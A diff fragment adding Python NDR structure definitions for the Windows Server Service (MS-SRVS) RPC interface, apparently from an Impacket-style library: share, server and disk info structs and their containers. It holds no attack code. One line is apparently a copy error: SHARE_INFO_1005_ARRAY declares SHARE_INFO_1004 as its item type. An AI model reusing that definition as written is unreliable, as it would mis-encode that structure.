+        ('shi502_type', DWORD),
+        ('shi502_remark', LPWSTR),
+        ('shi502_permissions', DWORD),
+        ('shi502_max_uses', DWORD),
+        ('shi502_current_uses', DWORD),
+        ('shi502_path', LPWSTR),
+        ('shi502_passwd', LPWSTR),
+        ('shi502_reserved', DWORD),
+        ('shi502_security_descriptor', LPBYTE),
+    )
+
+class LPSHARE_INFO_502(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_502),
+    )
+
+class SHARE_INFO_502_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_502
+
+class LPSHARE_INFO_502_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_502_ARRAY),
+    )
+
+# 2.2.4.27 SHARE_INFO_503_I
+class SHARE_INFO_503(NDRSTRUCT):
+    structure = (
+        ('shi503_netname', LPWSTR),
+        ('shi503_type', DWORD),
+        ('shi503_remark', LPWSTR),
+        ('shi503_permissions', DWORD),
+        ('shi503_max_uses', DWORD),
+        ('shi503_current_uses', DWORD),
+        ('shi503_path', LPWSTR),
+        ('shi503_passwd', LPWSTR),
+        ('shi503_servername', LPWSTR),
+        ('shi503_reserved', DWORD),
+        ('shi503_security_descriptor', LPBYTE),
+    )
+
+class LPSHARE_INFO_503(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_503),
+    )
+
+class SHARE_INFO_503_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_503
+
+class LPSHARE_INFO_503_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_503_ARRAY),
+    )
+
+# 2.2.4.28 SHARE_INFO_1004
+class SHARE_INFO_1004(NDRSTRUCT):
+    structure = (
+        ('shi1004_remark', LPWSTR),
+    )
+
+class LPSHARE_INFO_1004(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1004),
+    )
+
+class SHARE_INFO_1004_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_1004
+
+class LPSHARE_INFO_1004_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1004_ARRAY),
+    )
+
+# 2.2.4.29 SHARE_INFO_1005
+class SHARE_INFO_1005(NDRSTRUCT):
+    structure = (
+        ('shi1005_flags', DWORD),
+    )
+
+class LPSHARE_INFO_1005(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1005),
+    )
+
+class SHARE_INFO_1005_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_1004
+
+class LPSHARE_INFO_1005_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1005_ARRAY),
+    )
+
+# 2.2.4.30 SHARE_INFO_1006
+class SHARE_INFO_1006(NDRSTRUCT):
+    structure = (
+        ('shi1006_max_uses', DWORD),
+    )
+
+class LPSHARE_INFO_1006(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1006),
+    )
+
+class SHARE_INFO_1006_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_1006
+
+class LPSHARE_INFO_1006_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1006_ARRAY),
+    )
+
+# 2.2.4.31 SHARE_INFO_1501_I
+class SHARE_INFO_1501(NDRSTRUCT):
+    structure = (
+        ('shi1501_reserved', DWORD),
+        ('shi1501_security_descriptor', NDRUniConformantArray),
+    )
+
+class LPSHARE_INFO_1501(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1501),
+    )
+
+class SHARE_INFO_1501_ARRAY(NDRUniConformantArray):
+    item = SHARE_INFO_1501
+
+class LPSHARE_INFO_1501_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1501_ARRAY),
+    )
+
+# 2.2.4.32 SHARE_INFO_0_CONTAINER
+class SHARE_INFO_0_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSHARE_INFO_0_ARRAY),
+    )
+
+class LPSHARE_INFO_0_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_0_CONTAINER),
+    )
+
+# 2.2.4.33 SHARE_INFO_1_CONTAINER
+class SHARE_INFO_1_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSHARE_INFO_1_ARRAY),
+    )
+
+class LPSHARE_INFO_1_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_1_CONTAINER),
+    )
+
+# 2.2.4.34 SHARE_INFO_2_CONTAINER
+class SHARE_INFO_2_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSHARE_INFO_2_ARRAY),
+    )
+
+class LPSHARE_INFO_2_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_2_CONTAINER),
+    )
+
+# 2.2.4.35 SHARE_INFO_501_CONTAINER
+class SHARE_INFO_501_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSHARE_INFO_501_ARRAY),
+    )
+
+class LPSHARE_INFO_501_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_501_CONTAINER),
+    )
+
+# 2.2.4.36 SHARE_INFO_502_CONTAINER
+class SHARE_INFO_502_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSHARE_INFO_502_ARRAY),
+    )
+
+class LPSHARE_INFO_502_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_502_CONTAINER),
+    )
+
+# 2.2.4.37 SHARE_INFO_503_CONTAINER
+class SHARE_INFO_503_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPSHARE_INFO_503_ARRAY),
+    )
+
+class LPSHARE_INFO_503_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', SHARE_INFO_503_CONTAINER),
+    )
+
+# 2.2.3.5 SHARE_ENUM_UNION
+class SHARE_ENUM_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+
+    union = {
+        0: ('Level0', LPSHARE_INFO_0_CONTAINER),
+        1: ('Level1', LPSHARE_INFO_1_CONTAINER),
+        2: ('Level2', LPSHARE_INFO_2_CONTAINER),
+        501: ('Level501', LPSHARE_INFO_501_CONTAINER),
+        502: ('Level502', LPSHARE_INFO_502_CONTAINER),
+        503: ('Level503', LPSHARE_INFO_503_CONTAINER),
+    }
+
+# 2.2.4.38 SHARE_ENUM_STRUCT
+class SHARE_ENUM_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', DWORD),
+        ('ShareInfo', SHARE_ENUM_UNION),
+    )
+
+# 2.2.4.39 STAT_SERVER_0
+class STAT_SERVER_0(NDRSTRUCT):
+    structure = (
+        ('sts0_start', DWORD),
+        ('sts0_fopens', DWORD),
+        ('sts0_devopens', DWORD),
+        ('sts0_jobsqueued', DWORD),
+        ('sts0_sopens', DWORD),
+        ('sts0_stimedout', DWORD),
+        ('sts0_serrorout', DWORD),
+        ('sts0_pwerrors', DWORD),
+        ('sts0_permerrors', DWORD),
+        ('sts0_syserrors', DWORD),
+        ('sts0_bytessent_low', DWORD),
+        ('sts0_bytessent_high', DWORD),
+        ('sts0_bytesrcvd_low', DWORD),
+        ('sts0_bytesrcvd_high', DWORD),
+        ('sts0_avresponse', DWORD),
+        ('sts0_reqbufneed', DWORD),
+        ('sts0_bigbufneed', DWORD),
+    )
+
+class LPSTAT_SERVER_0(NDRPOINTER):
+    referent = (
+        ('Data', STAT_SERVER_0),
+    )
+
+# 2.2.4.40 SERVER_INFO_100
+class SERVER_INFO_100(NDRSTRUCT):
+    structure = (
+        ('sv100_platform_id', DWORD),
+        ('sv100_name', LPWSTR),
+    )
+
+class LPSERVER_INFO_100(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_100),
+    )
+
+# 2.2.4.41 SERVER_INFO_101
+class SERVER_INFO_101(NDRSTRUCT):
+    structure = (
+        ('sv101_platform_id', DWORD),
+        ('sv101_name', LPWSTR),
+        ('sv101_version_major', DWORD),
+        ('sv101_version_minor', DWORD),
+        ('sv101_type', DWORD),
+        ('sv101_comment', LPWSTR),
+    )
+
+class LPSERVER_INFO_101(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_101),
+    )
+
+# 2.2.4.42 SERVER_INFO_102
+class SERVER_INFO_102(NDRSTRUCT):
+    structure = (
+        ('sv102_platform_id', DWORD),
+        ('sv102_name', LPWSTR),
+        ('sv102_version_major', DWORD),
+        ('sv102_version_minor', DWORD),
+        ('sv102_type', DWORD),
+        ('sv102_comment', LPWSTR),
+        ('sv102_users', DWORD),
+        ('sv102_disc', DWORD),
+        ('sv102_hidden', DWORD),
+        ('sv102_announce', DWORD),
+        ('sv102_anndelta', DWORD),
+        ('sv102_licenses', DWORD),
+        ('sv102_userpath', LPWSTR),
+    )
+
+class LPSERVER_INFO_102(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_102),
+    )
+
+# 2.2.4.43 SERVER_INFO_103
+class SERVER_INFO_103(NDRSTRUCT):
+    structure = (
+        ('sv103_platform_id', DWORD),
+        ('sv103_name', LPWSTR),
+        ('sv103_version_major', DWORD),
+        ('sv103_version_minor', DWORD),
+        ('sv103_type', DWORD),
+        ('sv103_comment', LPWSTR),
+        ('sv103_users', DWORD),
+        ('sv103_disc', DWORD),
+        ('sv103_hidden', DWORD),
+        ('sv103_announce', DWORD),
+        ('sv103_anndelta', DWORD),
+        ('sv103_licenses', DWORD),
+        ('sv103_userpath', LPWSTR),
+        ('sv103_capabilities', DWORD),
+    )
+
+class LPSERVER_INFO_103(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_103),
+    )
+
+# 2.2.4.44 SERVER_INFO_502
+class SERVER_INFO_502(NDRSTRUCT):
+    structure = (
+        ('sv502_sessopens', DWORD),
+        ('sv502_sessvcs', DWORD),
+        ('sv502_opensearch', DWORD),
+        ('sv502_sizreqbuf', DWORD),
+        ('sv502_initworkitems', DWORD),
+        ('sv502_maxworkitems', DWORD),
+        ('sv502_rawworkitems', DWORD),
+        ('sv502_irpstacksize', DWORD),
+        ('sv502_maxrawbuflen', DWORD),
+        ('sv502_sessusers', DWORD),
+        ('sv502_sessconns', DWORD),
+        ('sv502_maxpagedmemoryusage', DWORD),
+        ('sv502_maxnonpagedmemoryusage', DWORD),
+        ('sv502_enablesoftcompat', DWORD),
+        ('sv502_enableforcedlogoff', DWORD),
+        ('sv502_timesource', DWORD),
+        ('sv502_acceptdownlevelapis', DWORD),
+        ('sv502_lmannounce', DWORD),
+    )
+
+class LPSERVER_INFO_502(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_502),
+    )
+
+# 2.2.4.45 SERVER_INFO_503
+class SERVER_INFO_503(NDRSTRUCT):
+    structure = (
+        ('sv503_sessopens', DWORD),
+        ('sv503_sessvcs', DWORD),
+        ('sv503_opensearch', DWORD),
+        ('sv503_sizreqbuf', DWORD),
+        ('sv503_initworkitems', DWORD),
+        ('sv503_maxworkitems', DWORD),
+        ('sv503_rawworkitems', DWORD),
+        ('sv503_irpstacksize', DWORD),
+        ('sv503_maxrawbuflen', DWORD),
+        ('sv503_sessusers', DWORD),
+        ('sv503_sessconns', DWORD),
+        ('sv503_maxpagedmemoryusage', DWORD),
+        ('sv503_maxnonpagedmemoryusage', DWORD),
+        ('sv503_enablesoftcompat', DWORD),
+        ('sv503_enableforcedlogoff', DWORD),
+        ('sv503_timesource', DWORD),
+        ('sv503_acceptdownlevelapis', DWORD),
+        ('sv503_lmannounce', DWORD),
+        ('sv503_domain', LPWSTR),
+        ('sv503_maxcopyreadlen', DWORD),
+        ('sv503_maxcopywritelen', DWORD),
+        ('sv503_minkeepsearch', DWORD),
+        ('sv503_maxkeepsearch', DWORD),
+        ('sv503_minkeepcomplsearch', DWORD),
+        ('sv503_maxkeepcomplsearch', DWORD),
+        ('sv503_threadcountadd', DWORD),
+        ('sv503_numblockthreads', DWORD),
+        ('sv503_scavtimeout', DWORD),
+        ('sv503_minrcvqueue', DWORD),
+        ('sv503_minfreeworkitems', DWORD),
+        ('sv503_xactmemsize', DWORD),
+        ('sv503_threadpriority', DWORD),
+        ('sv503_maxmpxct', DWORD),
+        ('sv503_oplockbreakwait', DWORD),
+        ('sv503_oplockbreakresponsewait', DWORD),
+        ('sv503_enableoplocks', DWORD),
+        ('sv503_enableoplockforceclose', DWORD),
+        ('sv503_enablefcbopens', DWORD),
+        ('sv503_enableraw', DWORD),
+        ('sv503_enablesharednetdrives', DWORD),
+        ('sv503_minfreeconnections', DWORD),
+        ('sv503_maxfreeconnections', DWORD),
+    )
+
+class LPSERVER_INFO_503(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_503),
+    )
+
+# 2.2.4.46 SERVER_INFO_599
+class SERVER_INFO_599(NDRSTRUCT):
+    structure = (
+        ('sv599_sessopens', DWORD),
+        ('sv599_sessvcs', DWORD),
+        ('sv599_opensearch', DWORD),
+        ('sv599_sizreqbuf', DWORD),
+        ('sv599_initworkitems', DWORD),
+        ('sv599_maxworkitems', DWORD),
+        ('sv599_rawworkitems', DWORD),
+        ('sv599_irpstacksize', DWORD),
+        ('sv599_maxrawbuflen', DWORD),
+        ('sv599_sessusers', DWORD),
+        ('sv599_sessconns', DWORD),
+        ('sv599_maxpagedmemoryusage', DWORD),
+        ('sv599_maxnonpagedmemoryusage', DWORD),
+        ('sv599_enablesoftcompat', DWORD),
+        ('sv599_enableforcedlogoff', DWORD),
+        ('sv599_timesource', DWORD),
+        ('sv599_acceptdownlevelapis', DWORD),
+        ('sv599_lmannounce', DWORD),
+        ('sv599_domain', LPWSTR),
+        ('sv599_maxcopyreadlen', DWORD),
+        ('sv599_maxcopywritelen', DWORD),
+        ('sv599_minkeepsearch', DWORD),
+        ('sv599_maxkeepsearch', DWORD),
+        ('sv599_minkeepcomplsearch', DWORD),
+        ('sv599_maxkeepcomplsearch', DWORD),
+        ('sv599_threadcountadd', DWORD),
+        ('sv599_numblockthreads', DWORD),
+        ('sv599_scavtimeout', DWORD),
+        ('sv599_minrcvqueue', DWORD),
+        ('sv599_minfreeworkitems', DWORD),
+        ('sv599_xactmemsize', DWORD),
+        ('sv599_threadpriority', DWORD),
+        ('sv599_maxmpxct', DWORD),
+        ('sv599_oplockbreakwait', DWORD),
+        ('sv599_oplockbreakresponsewait', DWORD),
+        ('sv599_enableoplocks', DWORD),
+        ('sv599_enableoplockforceclose', DWORD),
+        ('sv599_enablefcbopens', DWORD),
+        ('sv599_enableraw', DWORD),
+        ('sv599_enablesharednetdrives', DWORD),
+        ('sv599_minfreeconnections', DWORD),
+        ('sv599_maxfreeconnections', DWORD),
+        ('sv599_initsesstable', DWORD),
+        ('sv599_initconntable', DWORD),
+        ('sv599_initfiletable', DWORD),
+        ('sv599_initsearchtable', DWORD),
+        ('sv599_alertschedule', DWORD),
+        ('sv599_errorthreshold', DWORD),
+        ('sv599_networkerrorthreshold', DWORD),
+        ('sv599_diskspacethreshold', DWORD),
+        ('sv599_reserved', DWORD),
+        ('sv599_maxlinkdelay', DWORD),
+        ('sv599_minlinkthroughput', DWORD),
+        ('sv599_linkinfovalidtime', DWORD),
+        ('sv599_scavqosinfoupdatetime', DWORD),
+        ('sv599_maxworkitemidletime', DWORD),
+    )
+
+class LPSERVER_INFO_599(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_599),
+    )
+
+# 2.2.4.47 SERVER_INFO_1005
+class SERVER_INFO_1005(NDRSTRUCT):
+    structure = (
+        ('sv1005_comment', LPWSTR),
+    )
+
+class LPSERVER_INFO_1005(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1005),
+    )
+
+# 2.2.4.48 SERVER_INFO_1107
+class SERVER_INFO_1107(NDRSTRUCT):
+    structure = (
+        ('sv1107_users', DWORD),
+    )
+
+class LPSERVER_INFO_1107(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1107),
+    )
+
+# 2.2.4.49 SERVER_INFO_1010
+class SERVER_INFO_1010(NDRSTRUCT):
+    structure = (
+        ('sv1010_disc', DWORD),
+    )
+
+class LPSERVER_INFO_1010(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1010),
+    )
+
+# 2.2.4.50 SERVER_INFO_1016
+class SERVER_INFO_1016(NDRSTRUCT):
+    structure = (
+        ('sv1016_hidden', DWORD),
+    )
+
+class LPSERVER_INFO_1016(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1016),
+    )
+
+# 2.2.4.51 SERVER_INFO_1017
+class SERVER_INFO_1017(NDRSTRUCT):
+    structure = (
+        ('sv1017_announce', DWORD),
+    )
+
+class LPSERVER_INFO_1017(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1017),
+    )
+
+# 2.2.4.52 SERVER_INFO_1018
+class SERVER_INFO_1018(NDRSTRUCT):
+    structure = (
+        ('sv1018_anndelta', DWORD),
+    )
+
+class LPSERVER_INFO_1018(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1018),
+    )
+
+# 2.2.4.53 SERVER_INFO_1501
+class SERVER_INFO_1501(NDRSTRUCT):
+    structure = (
+        ('sv1501_sessopens', DWORD),
+    )
+
+class LPSERVER_INFO_1501(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1501),
+    )
+
+# 2.2.4.54 SERVER_INFO_1502
+class SERVER_INFO_1502(NDRSTRUCT):
+    structure = (
+        ('sv1502_sessvcs', DWORD),
+    )
+
+class LPSERVER_INFO_1502(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1502),
+    )
+
+# 2.2.4.55 SERVER_INFO_1503
+class SERVER_INFO_1503(NDRSTRUCT):
+    structure = (
+        ('sv1503_opensearch', DWORD),
+    )
+
+class LPSERVER_INFO_1503(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1503),
+    )
+
+# 2.2.4.56 SERVER_INFO_1506
+class SERVER_INFO_1506(NDRSTRUCT):
+    structure = (
+        ('sv1506_maxworkitems', DWORD),
+    )
+
+class LPSERVER_INFO_1506(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1506),
+    )
+
+# 2.2.4.57 SERVER_INFO_1510
+class SERVER_INFO_1510(NDRSTRUCT):
+    structure = (
+        ('sv1510_sessusers', DWORD),
+    )
+
+class LPSERVER_INFO_1510(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1510),
+    )
+
+# 2.2.4.58 SERVER_INFO_1511
+class SERVER_INFO_1511(NDRSTRUCT):
+    structure = (
+        ('sv1511_sessconns', DWORD),
+    )
+
+class LPSERVER_INFO_1511(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1511),
+    )
+
+# 2.2.4.59 SERVER_INFO_1512
+class SERVER_INFO_1512(NDRSTRUCT):
+    structure = (
+        ('sv1512_maxnonpagedmemoryusage', DWORD),
+    )
+
+class LPSERVER_INFO_1512(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1512),
+    )
+
+# 2.2.4.60 SERVER_INFO_1513
+class SERVER_INFO_1513(NDRSTRUCT):
+    structure = (
+        ('sv1513_maxpagedmemoryusage', DWORD),
+    )
+
+class LPSERVER_INFO_1513(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1513),
+    )
+
+# 2.2.4.61 SERVER_INFO_1514
+class SERVER_INFO_1514(NDRSTRUCT):
+    structure = (
+        ('sv1514_enablesoftcompat', DWORD),
+    )
+
+class LPSERVER_INFO_1514(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1514),
+    )
+
+# 2.2.4.62 SERVER_INFO_1515
+class SERVER_INFO_1515(NDRSTRUCT):
+    structure = (
+        ('sv1515_enableforcedlogoff', DWORD),
+    )
+
+class LPSERVER_INFO_1515(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1515),
+    )
+
+# 2.2.4.63 SERVER_INFO_1516
+class SERVER_INFO_1516(NDRSTRUCT):
+    structure = (
+        ('sv1516_timesource', DWORD),
+    )
+
+class LPSERVER_INFO_1516(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1516),
+    )
+
+# 2.2.4.64 SERVER_INFO_1518
+class SERVER_INFO_1518(NDRSTRUCT):
+    structure = (
+        ('sv1518_lmannounce', DWORD),
+    )
+
+class LPSERVER_INFO_1518(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1518),
+    )
+
+# 2.2.4.65 SERVER_INFO_1523
+class SERVER_INFO_1523(NDRSTRUCT):
+    structure = (
+        ('sv1523_maxkeepsearch', DWORD),
+    )
+
+class LPSERVER_INFO_1523(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1523),
+    )
+
+# 2.2.4.66 SERVER_INFO_1528
+class SERVER_INFO_1528(NDRSTRUCT):
+    structure = (
+        ('sv1528_scavtimeout', DWORD),
+    )
+
+class LPSERVER_INFO_1528(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1528),
+    )
+
+# 2.2.4.67 SERVER_INFO_1529
+class SERVER_INFO_1529(NDRSTRUCT):
+    structure = (
+        ('sv1529_minrcvqueue', DWORD),
+    )
+
+class LPSERVER_INFO_1529(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1529),
+    )
+
+# 2.2.4.68 SERVER_INFO_1530
+class SERVER_INFO_1530(NDRSTRUCT):
+    structure = (
+        ('sv1530_minfreeworkitems', DWORD),
+    )
+
+class LPSERVER_INFO_1530(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1530),
+    )
+
+# 2.2.4.69 SERVER_INFO_1533
+class SERVER_INFO_1533(NDRSTRUCT):
+    structure = (
+        ('sv1533_maxmpxct', DWORD),
+    )
+
+class LPSERVER_INFO_1533(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1533),
+    )
+
+# 2.2.4.70 SERVER_INFO_1534
+class SERVER_INFO_1534(NDRSTRUCT):
+    structure = (
+        ('sv1534_oplockbreakwait', DWORD),
+    )
+
+class LPSERVER_INFO_1534(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1534),
+    )
+
+# 2.2.4.71 SERVER_INFO_1535
+class SERVER_INFO_1535(NDRSTRUCT):
+    structure = (
+        ('sv1535_oplockbreakresponsewait', DWORD),
+    )
+
+class LPSERVER_INFO_1535(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1535),
+    )
+
+# 2.2.4.72 SERVER_INFO_1536
+class SERVER_INFO_1536(NDRSTRUCT):
+    structure = (
+        ('sv1536_enableoplocks', DWORD),
+    )
+
+class LPSERVER_INFO_1536(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1536),
+    )
+
+# 2.2.4.73 SERVER_INFO_1538
+class SERVER_INFO_1538(NDRSTRUCT):
+    structure = (
+        ('sv1538_enablefcbopens', DWORD),
+    )
+
+class LPSERVER_INFO_1538(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1538),
+    )
+
+# 2.2.4.74 SERVER_INFO_1539
+class SERVER_INFO_1539(NDRSTRUCT):
+    structure = (
+        ('sv1539_enableraw', DWORD),
+    )
+
+class LPSERVER_INFO_1539(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1539),
+    )
+
+# 2.2.4.75 SERVER_INFO_1540
+class SERVER_INFO_1540(NDRSTRUCT):
+    structure = (
+        ('sv1540_enablesharednetdrives', DWORD),
+    )
+
+class LPSERVER_INFO_1540(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1540),
+    )
+
+# 2.2.4.76 SERVER_INFO_1541
+class SERVER_INFO_1541(NDRSTRUCT):
+    structure = (
+        ('sv1541_minfreeconnections', DWORD),
+    )
+
+class LPSERVER_INFO_1541(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1541),
+    )
+
+# 2.2.4.77 SERVER_INFO_1542
+class SERVER_INFO_1542(NDRSTRUCT):
+    structure = (
+        ('sv1542_maxfreeconnections', DWORD),
+    )
+
+class LPSERVER_INFO_1542(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1542),
+    )
+
+# 2.2.4.78 SERVER_INFO_1543
+class SERVER_INFO_1543(NDRSTRUCT):
+    structure = (
+        ('sv1543_initsesstable', DWORD),
+    )
+
+class LPSERVER_INFO_1543(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1543),
+    )
+
+# 2.2.4.79 SERVER_INFO_1544
+class SERVER_INFO_1544(NDRSTRUCT):
+    structure = (
+        ('sv1544_initconntable', DWORD),
+    )
+
+class LPSERVER_INFO_1544(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1544),
+    )
+
+# 2.2.4.80 SERVER_INFO_1545
+class SERVER_INFO_1545(NDRSTRUCT):
+    structure = (
+        ('sv1545_initfiletable', DWORD),
+    )
+
+class LPSERVER_INFO_1545(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1545),
+    )
+
+# 2.2.4.81 SERVER_INFO_1546
+class SERVER_INFO_1546(NDRSTRUCT):
+    structure = (
+        ('sv1546_initsearchtable', DWORD),
+    )
+
+class LPSERVER_INFO_1546(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1546),
+    )
+
+# 2.2.4.82 SERVER_INFO_1547
+class SERVER_INFO_1547(NDRSTRUCT):
+    structure = (
+        ('sv1547_alertschedule', DWORD),
+    )
+
+class LPSERVER_INFO_1547(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1547),
+    )
+
+# 2.2.4.83 SERVER_INFO_1548
+class SERVER_INFO_1548(NDRSTRUCT):
+    structure = (
+        ('sv1548_errorthreshold', DWORD),
+    )
+
+class LPSERVER_INFO_1548(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1548),
+    )
+
+# 2.2.4.84 SERVER_INFO_1549
+class SERVER_INFO_1549(NDRSTRUCT):
+    structure = (
+        ('sv1549_networkerrorthreshold', DWORD),
+    )
+
+class LPSERVER_INFO_1549(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1549),
+    )
+
+# 2.2.4.85 SERVER_INFO_1550
+class SERVER_INFO_1550(NDRSTRUCT):
+    structure = (
+        ('sv1550_diskspacethreshold', DWORD),
+    )
+
+class LPSERVER_INFO_1550(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1550),
+    )
+
+# 2.2.4.86 SERVER_INFO_1552
+class SERVER_INFO_1552(NDRSTRUCT):
+    structure = (
+        ('sv1552_maxlinkdelay', DWORD),
+    )
+
+class LPSERVER_INFO_1552(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1552),
+    )
+
+# 2.2.4.87 SERVER_INFO_1553
+class SERVER_INFO_1553(NDRSTRUCT):
+    structure = (
+        ('sv1553_minlinkthroughput', DWORD),
+    )
+
+class LPSERVER_INFO_1553(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1553),
+    )
+
+# 2.2.4.88 SERVER_INFO_1554
+class SERVER_INFO_1554(NDRSTRUCT):
+    structure = (
+        ('sv1554_linkinfovalidtime', DWORD),
+    )
+
+class LPSERVER_INFO_1554(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1554),
+    )
+
+# 2.2.4.89 SERVER_INFO_1555
+class SERVER_INFO_1555(NDRSTRUCT):
+    structure = (
+        ('sv1555_scavqosinfoupdatetime', DWORD),
+    )
+
+class LPSERVER_INFO_1555(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1555),
+    )
+
+# 2.2.4.90 SERVER_INFO_1556
+class SERVER_INFO_1556(NDRSTRUCT):
+    structure = (
+        ('sv1556_maxworkitemidletime', DWORD),
+    )
+
+class LPSERVER_INFO_1556(NDRPOINTER):
+    referent = (
+        ('Data', SERVER_INFO_1556),
+    )
+
+# 2.2.4.91 DISK_INFO
+class WCHAR_ARRAY(NDRSTRUCT):
+    commonHdr = (
+        ('Offset','<L=0'),
+        ('ActualCount','<L=len(Data)//2'),
+    )
+    commonHdr64 = (
+        ('Offset','<Q=0'),
+        ('ActualCount','<Q=len(Data)//2'),
+    )
+    structure = (
+        ('Data',':'),
+    )
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print("%s" % msg, end=' ')
+        # Here just print the data
+        print(" %r" % (self['Data']), end=' ')
+
+    def __setitem__(self, key, value):
+        if key == 'Data':
+            try:
+                self.fields[key] = value.encode('utf-16le')
+            except UnicodeDecodeError:
+                import sys
+                self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
+            self.fields['ActualCount'] = None
+            self.data = None        # force recompute
+        else:
+            return NDR.__setitem__(self, key, value)
+
+    def __getitem__(self, key):
+        if key == 'Data':
+            return self.fields[key].decode('utf-16le')
+        else:
+            return NDR.__getitem__(self,key)
+
+    def getDataLen(self, data, offset=0):
+        return self["ActualCount"]*2 
+
+
+class DISK_INFO(NDRSTRUCT):
+    structure = (
+        ('Disk', WCHAR_ARRAY),
+    )
+
+class LPDISK_INFO(NDRPOINTER):
+    referent = (
+        ('Data', DISK_INFO),
+    )
+
+class DISK_INFO_ARRAY(NDRUniConformantVaryingArray):
+    item = DISK_INFO
+
+class LPDISK_INFO_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DISK_INFO_ARRAY),
+    )
+
+# 2.2.4.92 DISK_ENUM_CONTAINER
+class DISK_ENUM_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', DWORD),
+        ('Buffer', LPDISK_INFO_ARRAY),
+    )
+
